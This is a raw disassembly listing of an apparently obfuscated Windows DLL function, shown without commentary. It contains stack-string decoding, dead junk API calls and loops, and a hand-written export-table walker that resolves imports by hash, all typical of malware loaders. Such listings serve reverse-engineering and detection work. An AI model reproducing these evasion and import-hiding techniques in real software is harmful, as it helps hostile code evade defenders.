movzx eax, byte [ebp - 0x88]
test eax, eax
je 0x1001d0c8
push 0x1e63
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x1001d0e2
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov dword [ebp - 0x654], 0xa684
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x1001d123
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x10bd
push 0x1f1b
push 0x2106
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov byte [ebp - 0x87], 0
movzx eax, byte [ebp - 0x87]
test eax, eax
je 0x1001d13b
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov byte [ebp - 0xec], 2
mov byte [ebp - 0xeb], 0x44
mov byte [ebp - 0xea], 4
mov byte [ebp - 0xe9], 0x11
mov byte [ebp - 0xe8], 6
mov byte [ebp - 0xe7], 0x24
mov byte [ebp - 0xe6], 3
mov byte [ebp - 0xe5], 0xf1
mov byte [ebp - 0xe4], 0xe0
mov byte [ebp - 0xe3], 0x58
mov byte [ebp - 0xe2], 0xd
mov byte [ebp - 0xe1], 7
mov byte [ebp - 0xe0], 5
mov byte [ebp - 0xdf], 0x32
mov byte [ebp - 0xde], 0xb
mov byte [ebp - 0xdd], 0x16
mov byte [ebp - 0xdc], 0
mov byte [ebp - 0xdb], 0x30
mov byte [ebp - 0xda], 1
mov byte [ebp - 0xd9], 0x31
mov byte [ebp - 0xd8], 8
mov byte [ebp - 0xd7], 0x1d
mov byte [ebp - 0xd6], 9
mov byte [ebp - 0xd5], 0xc
mov byte [ebp - 0xd4], 0xc
mov byte [ebp - 0xd3], 0x10
mov byte [ebp - 0xd2], 3
mov byte [ebp - 0xd1], 0x12
mov byte [ebp - 0xd0], 7
mov byte [ebp - 0xcf], 0x13
mov byte [ebp - 0xce], 0xa
mov byte [ebp - 0xcd], 0x17
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xec]
and eax, 0x21
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xec]
or ecx, 0x21
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xec]
mov byte [ebp + eax - 0x45c], cl
mov dword [ebp - 0x1c], 2
and dword [ebp - 0xc4], 0
jmp 0x1001d26c
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x20
jae 0x1001d34a
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xec]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x1c], eax
jne 0x1001d2b6
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0xec]
inc eax
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0xec]
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x1c], eax
jmp 0x1001d264
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc4]
movzx eax, byte [ebp + eax - 0xee]
movsx eax, byte [ebp + eax - 0x45c]
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0xeb]
and ecx, eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc4]
movzx eax, byte [ebp + eax - 0xee]
movsx eax, byte [ebp + eax - 0x45c]
mov edx, dword [ebp - 0x1c]
movzx edx, byte [ebp + edx - 0xeb]
and edx, eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc4]
movzx eax, byte [ebp + eax - 0xee]
movsx eax, byte [ebp + eax - 0x45c]
mov esi, dword [ebp - 0x1c]
movzx ebx, byte [ebp + esi - 0xeb]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0xec]
mov byte [ebp + eax - 0x45c], bl
and dword [ebp - 0xc4], 0
jmp 0x1001d264
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x45c], 0
mov dword [ebp - 0x378], 0x65e9
mov dword [ebp - 0x4e8], str.bdtexrraq_nfin_tbdtdvhs_msus
cmp dword [ebp - 0x378], 0x660d
jle 0x1001d458
and dword [ebp - 0x130], 0
jmp 0x1001d392
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x1caf
jge 0x1001d458
and dword [ebp - 0x120], 0
jmp 0x1001d3b8
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x1fea
jge 0x1001d453
and dword [ebp - 0x128], 0
jmp 0x1001d3de
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x3219
jge 0x1001d44e
and dword [ebp - 0x138], 0
jmp 0x1001d400
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x1858
jge 0x1001d44c
mov eax, dword [ebp - 0x120]
cdq
idiv dword [ebp - 0x128]
xor edx, dword [ebp - 0x130]
or edx, dword [ebp - 0x138]
mov eax, edx
cdq
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], edx
push dword [ebp - 0x4bc]
push dword [ebp - 0x4c0]
mov ecx, 0x1007bb98
call fcn.100042e3
jmp 0x1001d3f3
jmp 0x1001d3d1
jmp 0x1001d3ab
jmp 0x1001d385
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x378], 0x6429
jge 0x1001d47b
mov edx, dword [ebp - 0x4e8]
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x1001d497
or dword [ebp - 4], 0xffffffff
jmp 0x1001d4a1
mov dword [ebp - 0x114], 0
jmp 0x1001d4ba
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 1
jge 0x1001d4d6
mov eax, dword [ebp - 0x114]
mov dword [ebp + eax*4 - 0x6c8], 0xfffffff8
jmp 0x1001d4ad
mov byte [ebp - 0x83], 0
movzx eax, byte [ebp - 0x83]
test eax, eax
je 0x1001d4f0
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
mov dword [ebp - 0x380], 0x4c64
mov dword [ebp - 0x4f4], str.tpxc_topsonzco_nhc_tgnfqau_dpmqm_rvhcyb_wnimey_ukzn_kdkhl_xxrw
cmp dword [ebp - 0x380], 0x4de8
jle 0x1001d5fd
push 0x21cb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
and dword [ebp - 0x158], 0
jmp 0x1001d539
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x5d3d
jge 0x1001d5fd
and dword [ebp - 0x118], 0
jmp 0x1001d55f
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x410b
jge 0x1001d5f8
and dword [ebp - 0x150], 0
jmp 0x1001d585
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xd24
jge 0x1001d5f3
mov eax, dword [ebp - 0x118]
cdq
idiv dword [ebp - 0x150]
mov eax, dword [ebp - 0x158]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x4cc], eax
mov dword [ebp - 0x4c8], edx
push dword [ebp - 0x4c8]
push dword [ebp - 0x4cc]
lea ecx, [ebp - 0x7bc]
call fcn.10001a85
pop ecx
pop ecx
mov dword [ebp - 0x504], eax
mov ecx, dword [ebp - 0x504]
call fcn.100042c3
push eax
call fcn.10049603
pop ecx
lea ecx, [ebp - 0x7bc]
call fcn.100042b9
jmp 0x1001d578
jmp 0x1001d552
jmp 0x1001d52c
mov byte [ebp - 0x86], 0
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x380], 0x4a74
jge 0x1001d623
push dword [ebp - 0x4f4]
call fcn.10049603
pop ecx
jmp 0x1001d63f
or dword [ebp - 4], 0xffffffff
jmp 0x1001d649
movzx eax, byte [ebp - 0x86]
test eax, eax
je 0x1001d65e
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
lea eax, [ebp - 0x45c]
push eax
lea ecx, [ebp - 0x804]
call fcn.1001fc57
mov dword [ebp - 0x50c], eax
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x514], eax
mov dword [ebp - 4], 0x16
mov edx, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x514]
call fcn.1000b9a4
mov dword [0x100b6f70], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x804]
call fcn.10004502
and dword [ebp - 0x160], 0
jmp 0x1001d6c4
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xf
jae 0x1001d6dd
mov eax, dword [ebp - 0x160]
mov byte [ebp + eax - 0x45c], 0
jmp 0x1001d6b7
mov dword [ebp - 0x168], 0
jmp 0x1001d6f6
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 3
jge 0x1001d712
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x5c8], 0
jmp 0x1001d6e9
mov byte [ebp - 0x82], 0
movzx eax, byte [ebp - 0x82]
test eax, eax
je 0x1001d72c
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x5c8], 0
jmp 0x1001d757
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x5c8]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x5c8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x5c8], 0xfffffffe
jne 0x1001d80f
mov dword [ebp - 0xa8], 0xf5cd53bc
mov dword [ebp - 0x170], 0
jmp 0x1001d78d
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 1
jge 0x1001d7a9
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x390], 6
jmp 0x1001d780
mov dword [ebp - 0xa8], 0
jmp 0x1001d7c2
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jl 0x1001d7e7
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp + eax*4 - 0x390]
mov ecx, dword [ebp - 0xa8]
mov dword [ebp + ecx*4 - 0x390], eax
jmp 0x1001d7b5
mov byte [ebp - 0x84], 0
movzx eax, byte [ebp - 0x84]
test eax, eax
je 0x1001d80a
push 0xf87
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
jmp 0x1001d73e
mov eax, dword [0x100b5ba0]
cmp eax, dword [ebp - 0x1a8]
je 0x1001d829
mov eax, dword [0x100b6f70]
cmp eax, dword [ebp - 0x1a8]
jne 0x1001d841
mov ecx, dword [ebp + 0xc]
call fcn.100042c3
push eax
push dword [ebp + 8]
call fcn.10014f59
pop ecx
pop ecx
jmp 0x1001e3df
mov dword [ebp - 0x398], 0x7ca
mov dword [ebp - 0x500], str.vms_tzzznk_nhykegvhe_osgglvq_omabzcw
cmp dword [ebp - 0x398], 0xa4f
jle 0x1001d8e0
call dword [sym.imp.USER32.dll_DestroyCaret]
and dword [ebp - 0x178], 0
jmp 0x1001d87d
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x6779
jge 0x1001d8e0
and dword [ebp - 0x180], 0
jmp 0x1001d89f
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x23a3
jge 0x1001d8de
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x180]
sar eax, cl
cdq
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], edx
push dword [ebp - 0x4d4]
push dword [ebp - 0x4d8]
mov ecx, 0x1007bb98
call fcn.100042e3
jmp 0x1001d892
jmp 0x1001d870
mov dword [ebp - 4], 0x17
cmp dword [ebp - 0x398], 0x675
jge 0x1001d903
mov edx, dword [ebp - 0x500]
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x1001d91f
or dword [ebp - 4], 0xffffffff
jmp 0x1001d929
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x3a0], 0xa2ae
mov dword [ebp - 0x188], 5
mov dword [ebp - 0x3b8], 1
mov dword [ebp - 0x3c0], 0x153413f0
mov dword [ebp - 0x560], 0x7fb
mov dword [ebp - 0x3c], 0
jmp 0x1001d972
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x1001d988
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x5bc], 0
jmp 0x1001d96b
mov dword [ebp - 0x3c], 0
jmp 0x1001d998
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x1001d9ae
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x74c], 0x1d847576
jmp 0x1001d991
mov dword [ebp - 0x70], 0
jmp 0x1001d9be
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x1001d9d4
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x5bc], 0x83c7
jmp 0x1001d9b7
cmp dword [ebp - 0x3a0], 0
je 0x1001da45
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5bc]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x188], 6
je 0x1001da11
mov dword [ebp - 0x564], 1
jmp 0x1001da18
and dword [ebp - 0x564], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x5bc]
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x188], 0
je 0x1001da45
mov eax, 0x99a5671
test eax, eax
je 0x1001da45
and dword [ebp - 0x3a8], 0
jmp 0x1001da4f
mov dword [ebp - 0x3a8], 1
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xaf8b5131
je 0x1001da6d
mov dword [ebp - 0x3b0], 1
jmp 0x1001da74
and dword [ebp - 0x3b0], 0
imul eax, dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b8]
cmp eax, dword [ebp - 0x188]
jg 0x1001da9b
mov dword [ebp - 0x508], 1
jmp 0x1001daa2
and dword [ebp - 0x508], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5bc]
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x3c0], 0x6aac8953
cmp dword [ebp - 0x3c0], 0
jne 0x1001dada
mov eax, 0x5da2a0c0
test eax, eax
jne 0x1001dada
and dword [ebp - 0x3c8], 0
jmp 0x1001dae4
mov dword [ebp - 0x3c8], 1
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x188]
cmp eax, dword [ebp - 0x560]
jl 0x1001db04
mov dword [ebp - 0x3d0], 1
jmp 0x1001db0b
and dword [ebp - 0x3d0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp + eax - 0x74c], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
je 0x1001e3dd
mov eax, dword [ebp - 0x190]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1001e3dd
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x190]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xcc], ecx
mov eax, dword [ebp - 0xcc]
cmp dword [eax], 0x4550
jne 0x1001e3dd
mov eax, dword [ebp - 0xcc]
cmp dword [eax + 0x74], 0
jbe 0x1001e3dd
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcc]
cmp dword [ecx + eax + 0x78], 0
je 0x1001e3dd
mov eax, dword [ebp + 8]
mov dword [ebp - 0xac], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xac]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x64], edx
mov eax, 0xffff
mov word [ebp - 0x44], ax
or dword [ebp - 0xa4], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x1001dbe6
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001dbe1
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x44], ax
jmp 0x1001dec0
mov eax, dword [0x100b6fdc]
and eax, 1
jne 0x1001dc1d
mov eax, dword [0x100b6fdc]
or eax, 1
mov dword [0x100b6fdc], eax
mov dword [ebp - 4], 0x19
mov ecx, 0x100b6f98
call fcn.1001fe0a
push 0x100620f2
call fcn.100495d9
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x100b5bb0]
test eax, eax
je 0x1001dc89
mov ecx, 0x100b6f98
call fcn.1001fec1
movzx eax, al
test eax, eax
jne 0x1001dc89
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x3d8]
push eax
mov ecx, 0x100b6f98
call fcn.1001feca
lea eax, [ebp - 0x66c]
push eax
mov ecx, 0x100b6f98
call fcn.10004c15
push eax
lea ecx, [ebp - 0x3d8]
call fcn.1001fca8
movzx eax, al
test eax, eax
je 0x1001dc89
lea ecx, [ebp - 0x3d8]
call fcn.1001fedf
mov eax, dword [eax + 4]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xffffffff
jne 0x1001dec0
mov ecx, 0x100b6f98
call fcn.1001ff5f
mov ecx, dword [ebp - 0x64]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x100b6f98
call fcn.1001ff63
and dword [ebp - 0x9c], 0
jmp 0x1001dcc7
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x9c]
cmp ecx, dword [eax + 0x18]
jae 0x1001dec0
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xac]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x9c]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0
je 0x1001debb
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [ebp - 0xac]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x794]
call fcn.1001fc57
mov dword [ebp - 4], 0x1a
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x794]
call fcn.1000b9a4
mov dword [ebp - 0x3f0], eax
movzx eax, byte [0x100b5bb0]
test eax, eax
je 0x1001dd56
mov ecx, 0x100b6f98
call fcn.1001fec1
movzx eax, al
test eax, eax
jne 0x1001de89
lea eax, [ebp - 0x3f0]
push eax
mov ecx, 0x100b6f98
call fcn.1001ff21
mov ecx, dword [ebp - 0x9c]
mov dword [eax], ecx
mov dword [ebp - 0x3e8], 0x5eed
mov dword [ebp - 0x464], str.wzmy_fqrwru_duqke_abriecqdq_kck_tqaxxqw_nccks_akfofjfgc_vutdyz_ndxpwfc_hedowntcm
cmp dword [ebp - 0x3e8], 0x61ff
jle 0x1001de3a
and dword [ebp - 0x198], 0
jmp 0x1001dda9
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0xf44
jge 0x1001de3a
and dword [ebp - 0x1a0], 0
jmp 0x1001ddcf
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x44fe
jge 0x1001de35
mov eax, dword [ebp - 0x198]
cdq
idiv dword [ebp - 0x1a0]
mov eax, edx
cdq
mov dword [ebp - 0x4e4], eax
mov dword [ebp - 0x4e0], edx
push dword [ebp - 0x4e0]
push dword [ebp - 0x4e4]
lea ecx, [ebp - 0x7ec]
call fcn.10001a85
pop ecx
pop ecx
mov dword [ebp - 0x510], eax
mov ecx, dword [ebp - 0x510]
call fcn.100042c3
push eax
call fcn.10049603
pop ecx
lea ecx, [ebp - 0x7ec]
call fcn.100042b9
jmp 0x1001ddc2
jmp 0x1001dd9c
mov byte [0x100b5bb0], 1
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x3e8], 0x5d46
jge 0x1001de5d
push dword [ebp - 0x464]
call fcn.10049603
pop ecx
jmp 0x1001de79
mov dword [ebp - 4], 0x1a
jmp 0x1001de89
cmp dword [ebp - 0xa4], 0xffffffff
jne 0x1001deac
mov eax, dword [ebp - 0x3f0]
cmp eax, dword [ebp - 0x1a8]
jne 0x1001deac
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xa4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x794]
call fcn.10004502
jmp 0x1001dcba
cmp dword [ebp + 0x10], 0
jne 0x1001dee9
cmp dword [ebp - 0xa4], 0xffffffff
je 0x1001dee9
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xac]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0xa4]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x44], ax
movzx eax, word [ebp - 0x44]
cmp eax, 0xffff
je 0x1001e3dd
movzx eax, word [ebp - 0x44]
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0xac]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x468]
mov ecx, dword [ebp - 0xac]
add ecx, dword [eax]
mov dword [ebp - 0x60], ecx
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x64]
jbe 0x1001e3d8
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0x64]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x60], edx
jae 0x1001e3d8
mov eax, dword [0x100b6fdc]
and eax, 2
jne 0x1001df7c
mov eax, dword [0x100b6fdc]
or eax, 2
mov dword [0x100b6fdc], eax
mov dword [ebp - 4], 0x1d
push 0xa6d3
call fcn.10023730
pop ecx
mov byte [0x100b7028], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x58], 2
mov byte [ebp - 0x57], 0xdf
mov byte [ebp - 0x56], 1
mov byte [ebp - 0x55], 0
mov byte [ebp - 0x54], 0
mov byte [ebp - 0x53], 8
mov byte [ebp - 0x52], 3
mov byte [ebp - 0x51], 0x22
mov byte [ebp - 0x50], 0x20
mov byte [ebp - 0x4f], 0x28
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x58]
and eax, 0xb3
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x58]
or ecx, 0xb3
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x58]
mov byte [ebp + eax - 0x78], cl
mov dword [ebp - 0x20], 2
and dword [ebp - 0xbc], 0
jmp 0x1001dfee
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xa
jae 0x1001e0a2
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x58]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x1001e02f
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x58]
inc eax
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x58]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x1001dfe6
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xbc]
movzx eax, byte [ebp + eax - 0x5a]
movsx eax, byte [ebp + eax - 0x78]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x57]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xbc]
movzx eax, byte [ebp + eax - 0x5a]
movsx eax, byte [ebp + eax - 0x78]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x57]
and edx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xbc]
movzx eax, byte [ebp + eax - 0x5a]
movsx eax, byte [ebp + eax - 0x78]
mov esi, dword [ebp - 0x20]
movzx ebx, byte [ebp + esi - 0x57]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x58]
mov byte [ebp + eax - 0x78], bl
and dword [ebp - 0xbc], 0
jmp 0x1001dfe6
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x78], 0
mov eax, dword [0x100b6fdc]
and eax, 4
jne 0x1001e0e8
mov eax, dword [0x100b6fdc]
or eax, 4
mov dword [0x100b6fdc], eax
mov dword [ebp - 4], 0x1e
lea eax, [ebp - 0x78]
push eax
mov ecx, 0x100b7034
call fcn.1001fc57
push 0x100620e3
call fcn.100495d9
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x1b0], 0
jmp 0x1001e0fe
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 4
jae 0x1001e114
mov eax, dword [ebp - 0x1b0]
mov byte [ebp + eax - 0x78], 0
jmp 0x1001e0f1
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x80], eax
movsx eax, byte [0x100b7028]
mov ecx, dword [ebp - 0x80]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x1001e134
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
jmp 0x1001e11a
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
push dword [ebp - 0x80]
push dword [ebp - 0x60]
lea ecx, [ebp - 0x720]
call fcn.100208f4
mov dword [ebp - 4], 0x1f
push 0x100b7034
lea ecx, [ebp - 0x720]
call fcn.1001fc86
lea eax, [ebp - 0x700]
push eax
lea ecx, [ebp - 0x720]
call fcn.10004b4d
push dword [eax]
lea eax, [ebp - 0x674]
push eax
lea ecx, [ebp - 0x720]
call fcn.10005b88
push dword [eax]
lea ecx, [ebp - 0x77c]
call fcn.1002091d
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x77c]
push eax
call fcn.1000c35c
pop ecx
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
je 0x1001e387
push dword [ebp - 0x80]
lea ecx, [ebp - 0x764]
call fcn.1001fc57
mov byte [ebp - 4], 0x21
lea edx, [ebp - 0x470]
lea ecx, [ebp - 0x764]
call fcn.1000bb03
movzx eax, al
test eax, eax
je 0x1001e204
push 0
push dword [ebp - 0x470]
push 0
push dword [ebp - 0x20c]
call fcn.1001a9f3
add esp, 0x10
mov dword [ebp - 0x60], eax
jmp 0x1001e376
mov dword [ebp - 0x3f8], 0x782a
mov dword [ebp - 0x478], str.eqi_mghiq_wvrksmtp_gnzaihk_ppsfmyl_ttd_nhwmbh_gnxlsmp_pgqf_civrdmay
cmp dword [ebp - 0x3f8], 0x793e
jle 0x1001e30e
push 0x14a2
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
and dword [ebp - 0x1d0], 0
jmp 0x1001e249
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x52e2
jge 0x1001e30e
and dword [ebp - 0x1c8], 0
jmp 0x1001e26f
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x268b
jge 0x1001e309
and dword [ebp - 0x1b8], 0
jmp 0x1001e295
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x2770
jge 0x1001e304
and dword [ebp - 0x1c0], 0
jmp 0x1001e2b7
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x4dd2
jge 0x1001e302
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1c0]
sar eax, cl
and eax, dword [ebp - 0x1c8]
or eax, dword [ebp - 0x1d0]
cdq
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], edx
push dword [ebp - 0x4ec]
push dword [ebp - 0x4f0]
mov ecx, 0x1007bb98
call fcn.100042e3
jmp 0x1001e2aa
jmp 0x1001e288
jmp 0x1001e262
jmp 0x1001e23c
push 1
push 0
lea eax, [ebp - 0x764]
push eax
push dword [ebp - 0x20c]
call fcn.1001a9f3
add esp, 0x10
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x3f8], 0x752c
jge 0x1001e34a
mov edx, dword [ebp - 0x478]
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x1001e366
mov dword [ebp - 4], 0x21
jmp 0x1001e376
mov byte [ebp - 4], 0x20
